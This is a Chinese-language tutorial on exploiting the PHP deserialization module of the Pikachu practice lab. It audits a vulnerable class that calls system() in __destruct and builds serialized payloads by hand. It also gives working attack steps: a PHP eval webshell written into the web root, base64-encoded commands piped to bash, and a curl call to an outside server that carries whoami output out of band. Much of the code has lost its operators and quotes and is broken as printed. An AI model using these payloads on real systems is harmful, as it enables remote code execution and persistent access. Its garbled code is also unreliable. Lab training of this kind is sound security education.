
1. 项目概述从靶场到实战的桥梁在安全测试的学习路径上靶场扮演着至关重要的角色。它像是一个精心设计的“安全实验室”为我们提供了合法、可控的环境去复现、理解和利用那些在真实世界中可能造成严重危害的安全漏洞。Pikachu靶场作为国内安全圈内广为人知的入门级综合漏洞演练平台其设计初衷就是为了让初学者能够在一个相对友好的环境中逐步建立起对Web安全漏洞的立体认知。它覆盖了SQL注入、XSS、文件上传、RCE等主流漏洞类型而其中的PHP反序列化漏洞模块更是许多学习者从“知道概念”到“理解原理”再到“动手利用”的关键一跃。我之所以选择以Pikachu靶场中的PHP反序列化漏洞作为深度剖析的对象是因为这个漏洞类型完美地体现了现代Web应用安全中“逻辑”与“数据”边界的模糊性。它不像SQL注入那样直接操作数据库也不像XSS那样直观地影响前端页面。反序列化漏洞更像是一个“特洛伊木马”攻击者将恶意指令伪装成普通的数据对象在应用内部逻辑的“护送”下穿越层层防线最终在核心地带引爆。审计和利用这类漏洞要求我们不仅要看懂代码的“字面意思”更要理解其背后对象生命周期、魔术方法触发以及数据流控制的“弦外之音”。通过这次实战我们的目标非常明确不仅仅是按照攻略点一下按钮拿到一个“漏洞存在”的提示。我们要做的是像一名真正的安全研究员或代码审计员那样深入Pikachu靶场提供的反序列化漏洞场景代码内部一行行地分析其构造逻辑理解漏洞产生的根本原因并亲手构造出能够实现任意代码执行的攻击载荷Payload。这个过程将涉及对PHP魔术方法如__wakeup,__destruct,__toString的深刻理解对序列化字符串结构的精确把握以及对Web请求交互过程的熟练操作。无论你是刚刚接触代码审计的新手还是希望巩固反序列化知识点的从业者这篇详尽的实战记录都将为你提供一条清晰的路径和大量可直接复现的细节。2. 漏洞原理深度解析对象如何变成武器在开始审计Pikachu的代码之前我们必须夯实基础彻底搞清楚PHP反序列化漏洞究竟为何能产生如此大的破坏力。简单来说序列化serialize是将一个对象的状态信息转换为可以存储或传输的形式通常是字符串的过程而反序列化unserialize则是将这个字符串恢复为原始对象的过程。这个机制本身是为了方便数据的持久化存储和网络传输本身并无过错。漏洞产生的根源在于反序列化过程中PHP会自动调用对象的一些特殊方法——魔术方法。关键在于反序列化操作重建的不仅仅是一个对象的属性数据还包括其类结构。如果这个类中定义了某些在特定时机会被自动调用的魔术方法并且这些方法中的代码逻辑存在缺陷或被攻击者精心利用那么危险就产生了。在PHP反序列化漏洞利用中最常被盯上的几个魔术方法是__wakeup(): 当一个对象被反序列化时__wakeup()方法会自动调用。它常被用于重新建立数据库连接、初始化资源等。如果这里的代码包含了危险函数如system,eval,file_put_contents并且其参数可控那就是最直接的漏洞点。__destruct(): 当对象被销毁如脚本执行结束、对象被显式unset时__destruct()方法会自动调用。这是利用链中极其常见的“入口点”或“跳板”因为它的触发相对确定。__toString(): 当一个对象被当作字符串处理如echo $obj;时此方法会被调用。如果方法内部有危险操作且其参数依赖于对象属性而这些属性可通过反序列化控制就可能构成漏洞。Pikachu靶场中的反序列化漏洞场景通常就是基于以上原理构建的。它模拟了一个常见的编程场景开发者接收用户输入未经充分校验就直接传递给unserialize()函数期望还原一个预期的对象。然而攻击者却可以提交一个精心构造的序列化字符串这个字符串被还原成的对象其类中某个魔术方法如__destruct里的一段危险代码例如包含file_put_contents写入Webshell的代码就会被执行。整个攻击链条可以概括为可控输入 -unserialize()- 恶意对象被重建 - 魔术方法自动触发 - 危险代码执行。理解这个原理后我们审计代码的目标就清晰了第一找到程序中接收外部参数并调用unserialize()的地方第二定位被反序列化的类定义分析其魔术方法中是否存在可利用的危险函数第三确认危险函数的参数是否依赖于对象的属性并且这些属性能否通过我们构造的序列化字符串进行控制。这三步就是我们接下来的行动指南。3. Pikachu靶场环境搭建与代码定位工欲善其事必先利其器。首先我们需要一个可操作的Pikachu靶场环境。推荐使用集成的Web开发环境套件如PHPStudy或XAMPP这能省去大量配置时间。假设你已经安装好了Apache和PHP版本5.4以上即可建议7.x以兼容更多语法搭建Pikachu的步骤非常简单下载源码从GitHub等平台获取Pikachu靶场的源代码压缩包。部署目录将解压后的整个pikachu文件夹放置到你的Web服务器根目录下例如对于PHPStudy是WWW目录对于XAMPP是htdocs目录。初始化数据库访问http://your-ip/pikachu页面通常会提示你进行安装。点击链接根据指引完成数据库的创建和初始化这通常涉及运行一个*.sql文件。访问靶场安装完成后再次访问根URL就能看到Pikachu漏洞平台的主界面了。进入主界面后在左侧漏洞菜单中找到“反序列化漏洞”并点击。Pikachu通常会有多个反序列化相关的子关卡我们选择最具代表性的那个进行深度审计。点击进入后你会看到一个简单的表单可能就是让你输入点什么然后提交。我们的战场不在前端而在后端代码。现在打开你的代码编辑器或IDE定位到Pikachu的源代码目录。反序列化漏洞相关的代码通常存放在一个独立的文件中。根据Pikachu的常见结构这个文件路径可能类似于pikachu/vul/unserilization/unser.php或pikachu/vul/unser/目录下的某个文件。你需要仔细查看文件命名和目录结构来找到它。找到目标文件后用编辑器打开我们的代码审计工作正式启动。注意在真实审计中如果目标系统不是像靶场这样结构清晰你可能需要全局搜索关键词如unserialize(、__wakeup、__destruct来定位可疑文件。在Pikachu中我们可以直奔主题。4. 靶场漏洞代码逐行审计与逻辑还原假设我们找到的漏洞文件是unser.php。让我们像侦探一样开始逐行审视这段代码。以下是一个高度模拟Pikachu靶场风格的漏洞代码示例我们将基于此进行审计?php class VulnClass { public $dangerous_cmd \whoami\; public $useless_var \hello\; function __destruct() { system($this-dangerous_cmd); } } $input_data $_GET[‘data’]; if(isset($input_data)){ $obj unserialize($input_data); echo \反序列化完成对象属性useless_var是\ . $obj-useless_var; } else { show_source(__FILE__); } ?第一步定位反序列化入口点代码非常简短。我们一眼就能看到第10行$input_data $_GET[‘data’];。这里直接从GET请求参数中获取名为data的输入并将其赋值给$input_data变量。这是一个明确的用户输入点。第二步追踪输入流向紧接着第11-14行是一个条件判断。如果$input_data被设置了即用户传了data参数代码就会执行$obj unserialize($input_data);。看用户输入的data参数未经任何过滤、校验或类型检查直接被送入了unserialize()函数。这是漏洞形成的最关键一步——不可信数据直接进入反序列化函数。第三步分析被反序列化的类结构第2-8行定义了一个名为VulnClass的类。我们仔细分析它的结构public $dangerous_cmd “whoami”;: 一个公有属性默认值是字符串“whoami”。public $useless_var “hello”;: 另一个公有属性。function __destruct() { system($this-dangerous_cmd); }: 这是类的析构函数__destruct()。它的逻辑是调用 PHP 的system()函数执行$this-dangerous_cmd这个属性所代表的系统命令。漏洞逻辑链条闭合攻击者通过GET请求的data参数传入一个自定义的序列化字符串。服务端unserialize()这个字符串试图还原成一个VulnClass对象。在对象被还原后根据PHP生命周期当脚本执行结束或该对象不再被需要时其__destruct()方法会被自动调用。__destruct()方法执行了system($this-dangerous_cmd)。关键在于$this-dangerous_cmd的值来自于对象的属性。而这个属性值正是通过我们传入的序列化字符串来设定的如果我们能在序列化字符串中将dangerous_cmd的值设置为任意命令如cat /etc/passwd或写入Webshell的命令那么system()函数执行的就不再是默认的whoami而是我们的恶意命令。第四步理解输出与交互代码第12行在反序列化后输出了$obj-useless_var。这给了我们一个重要的回显点。在实战中即使命令执行没有直接回显在页面上我们也可以通过这个回显来验证我们的序列化字符串是否被正确解析对象属性是否被成功覆盖。例如如果我们把useless_var改成hacked页面回显就会变成“反序列化完成对象属性useless_var是hacked”这证明我们的Payload起效了对象按照我们的意图被重建。至此代码审计完成。我们清晰地看到了一个完整的“用户输入可控 - 危险反序列化 - 魔术方法自动执行 - 参数可控导致代码执行”的漏洞链条。接下来就是构造攻击载荷的环节。5. 攻击载荷Payload手工构造与利用理解了漏洞原理和代码逻辑后我们就可以动手构造攻击用的序列化字符串了。我们的目标是构造一个VulnClass对象的序列化表示并且将其中的dangerous_cmd属性值替换为我们想执行的系统命令。第一步本地模拟构造最安全、最清晰的方式是在本地编写一个PHP脚本进行构造。新建一个文件比如create_payload.php?php class VulnClass { public $dangerous_cmd \whoami\; public $useless_var \hello\; function __destruct() { system($this-dangerous_cmd); } } // 创建一个对象实例 $obj new VulnClass(); // 修改其属性值为我们想要的命令 $obj-dangerous_cmd \id\; // 例如执行id命令查看当前用户 $obj-useless_var \hacked_by_me\; // 修改另一个属性作为验证 // 序列化这个对象 $serialized_obj serialize($obj); echo \生成的序列化字符串\\n\; echo $serialized_obj . \\\n\\n\; // 可选进行URL编码便于通过GET参数传递 echo \URL编码后\\n\; echo urlencode($serialized_obj); ?运行这个脚本php create_payload.php你会得到类似如下的输出生成的序列化字符串 O:9:\VulnClass\:2:{s:14:\dangerous_cmd\;s:2:\id\;s:11:\useless_var\;s:12:\hacked_by_me\;} URL编码后 O%3A9%3A%22VulnClass%22%3A2%3A%7Bs%3A14%3A%22dangerous_cmd%22%3Bs%3A2%3A%22id%22%3Bs%3A11%3A%22useless_var%22%3Bs%3A12%3A%22hacked_by_me%22%3B%7D第二步解读序列化字符串结构这个字符串就是我们的武器。我们来拆解一下O:9:\VulnClass\: 表示这是一个对象Object类名长度为9类名是VulnClass。:2:: 表示这个对象有2个属性。{s:14:\dangerous_cmd\;s:2:\id\;: 第一个属性。s:14表示属性名是长度为14的字符串“dangerous_cmd”s:2:\id\表示该属性的值是长度为2的字符串“id”。s:11:\useless_var\;s:12:\hacked_by_me\;: 第二个属性结构同理。}: 对象定义结束。第三步发起攻击现在打开浏览器或使用Burp Suite、cURL等工具向靶场漏洞页面发起请求。假设靶场地址是http://192.168.1.100/pikachu/vul/unserilization/unser.php。我们使用GET方式将data参数设置为上面生成的序列化字符串可以用原始字符串也可以用URL编码后的。构造的URL如下http://192.168.1.100/pikachu/vul/unserilization/unser.php?dataO:9:\VulnClass\:2:{s:14:\dangerous_cmd\;s:2:\id\;s:11:\useless_var\;s:12:\hacked_by_me\;}访问这个URL。如果漏洞存在且利用成功你应该会看到页面上显示“反序列化完成对象属性useless_var是hacked_by_me”。这证明我们的Payload被正确解析对象属性被成功覆盖。同时id命令会在服务器端执行。由于代码中使用的是system()函数其输出默认会直接返回到HTML页面中。所以你很可能在页面的某个位置可能在回显文字之前或之后也可能因为HTML渲染问题需要查看页面源代码看到uid33(www-data) gid33(www-data) groups33(www-data)这样的系统命令执行结果。实操心得如果命令执行结果没有直接显示在页面上可能是输出被缓冲、错误处理或者代码设计所致。此时可以尝试使用其他命令进行探测比如echo ‘test’ /tmp/test.txt来写入文件或者ping -c 1 your_ip通过DNSlog、ICMP等方式进行带外OOB检测以验证命令是否确实被执行。6. 漏洞利用的进阶技巧与变形成功执行id命令只是第一步。在真实的渗透测试或安全评估中我们的目标往往是获取更稳固的访问权限比如上传一个Webshell。我们可以利用同样的漏洞构造更复杂的Payload。技巧一写入Webshell假设我们想写入一个一句话木马到网站根目录。我们需要修改dangerous_cmd的值。但这里有个问题system()函数执行的是单个命令字符串。我们要写入文件需要用到echo或printf命令并且要注意特殊字符如空格、引号、尖括号在URL和命令行中的转义。一个常见的Payload是$obj-dangerous_cmd \echo ‘?php eval(\\$_POST[cmd]);?‘ /var/www/html/pikachu/shell.php\;将其序列化后通过GET参数传递。如果Web服务有写入权限就会在指定路径生成一个Webshell文件。之后我们就可以用蚁剑、菜刀等工具连接这个shell获得一个图形化的交互界面。注意事项路径/var/www/html/pikachu/需要根据靶场的实际安装路径进行调整。在不确定时可以先尝试pwd命令查看当前目录或者使用find / -name ‘index.php’ -type f 2/dev/null等命令来定位Web根目录。技巧二处理复杂命令与编码如果命令中包含空格、引号、管道符等特殊字符在构造序列化字符串和URL传输时很容易出错。一个可靠的方法是分步构造先在本地PHP脚本中用单引号定义命令字符串避免PHP自身的转义问题。使用urlencode()函数对生成的整个序列化字符串进行编码确保其在HTTP传输中不会变形。在Burp Suite中发送请求时如果使用Repeater模块有时需要将%20空格等编码手动替换为或者尝试不编码直接发送原始字符串这取决于服务端的解析方式。多测试几种格式。技巧三利用__wakeup()方法Pikachu靶场可能还设计了其他变种。例如漏洞点可能在__wakeup()方法中。审计和利用方式完全类似只是触发时机不同__wakeup()在反序列化完成后立即触发而__destruct()在对象销毁时触发。对于__wakeup()的利用你甚至可能不需要关心对象后续如何被使用只要反序列化成功代码就会执行。技巧四寻找隐藏的利用链POP Chain在更复杂、更真实的应用中漏洞可能不会这么直观。危险函数system()可能不在反序列化的类里而在另一个类的方法中。这时我们需要寻找一条“属性魔术方法链”Property-Oriented Programming Chain, POP Chain。即通过控制A对象的某个属性使其在某个魔术方法中被调用而这个调用又触发了B对象的方法B对象的方法最终指向了危险函数。审计这类漏洞需要对整个应用的类库结构有全局了解并善于使用__get(),__call(),__toString()等魔术方法作为跳板。虽然Pikachu基础关卡可能不涉及但这是反序列化漏洞审计的高级阶段。7. 实战中常见问题与排查实录即便在像Pikachu这样可控的靶场环境中新手在实操时也难免会遇到各种问题。下面我记录了几个最常见的问题及其排查思路这比单纯的利用步骤更有价值。问题1提交Payload后页面没有任何变化只显示默认页面或空白。排查思路检查参数名确认URL中的参数名是否是data有时可能是input,str,code等。查看前端表单或分析源码确认。检查序列化字符串完整性确保你复制粘贴的序列化字符串没有遗漏开头或结尾的字符特别是大括号}。在URL中引号和冒号等字符有时会被错误处理使用URL编码版本更可靠。查看服务器错误日志这是最重要的调试手段。到你的Apache或PHP的error_log文件中查看。你可能会看到“unserialize(): Error at offset X of Y bytes”这样的错误。这通常意味着序列化字符串格式错误、长度不对属性值长度s:X与实际字符串长度不符、或者类名不对。根据错误信息调整你的Payload。验证类名和属性名序列化字符串中的类名VulnClass必须与后端PHP代码中定义的类名完全一致包括大小写。属性名dangerous_cmd和useless_var也必须一致。一个字符的差异都会导致反序列化失败。问题2页面回显了修改后的useless_var属性如“hacked_by_me”但没有看到命令执行的结果。排查思路查看页面源代码system()或exec()等函数执行的输出有时会被插入到HTML中不显眼的位置或者因为前后有未闭合的HTML标签导致浏览器不渲染。按CtrlU查看页面源代码仔细搜索uid,www-data,root等关键词。命令是否执行成功可能你执行的命令本身有误或者环境不存在该命令。尝试一个更简单、更通用的命令如echo 123或whoami。权限问题Web服务器进程如www-data用户可能没有执行某些命令如cat /etc/shadow的权限或者被禁用了危险函数。尝试执行echo $PATH查看环境变量或php -v看看能否调用PHP。使用带外检测如果命令执行了但输出被丢弃可以尝试使用DNSlog或HTTP请求外带数据。例如执行curl http://your-server.com/?whoami在你的服务器上查看访问日志看是否有请求记录从而确认命令执行。问题3我想执行更复杂的命令如包含管道、重定向但总是失败。解决方案编码与转义将整个命令用base64编码然后在Payload中解码执行。这是绕过复杂转义问题的黄金法则。// 本地构造 $cmd “ls -la /tmp | grep test”; $b64_cmd base64_encode($cmd); $obj-dangerous_cmd “echo $b64_cmd | base64 -d | bash”; // 或者更简洁的bash -c {echo,base64-string}|{base64,-d}|{bash,-i}写入脚本执行分两步。第一步用echo将复杂的Shell脚本写入一个临时文件如/tmp/a.sh。第二步执行chmod x /tmp/a.sh /tmp/a.sh。这样可以将复杂的逻辑放在脚本里避免在单行命令中处理所有转义。问题4靶场提示“反序列化漏洞”但我找不到unserialize()函数在哪里。排查思路全局搜索在Pikachu源码目录下使用grep -r “unserialize” .命令进行递归搜索。查看包含文件漏洞入口文件可能通过include或require包含了其他定义了类或函数的文件。检查文件开头的包含语句。关注参数传递可能用户输入先被接收然后传递到另一个函数或类方法中在那里才被反序列化。需要跟踪变量的传递流程。通过以上这些实战问题的排查你不仅能解决眼前的问题更能积累宝贵的调试经验这些经验在审计真实、复杂的系统时至关重要。记住耐心和细致是安全研究员最重要的品质之一。每一个错误信息、每一次异常的响应都是通往漏洞核心的线索。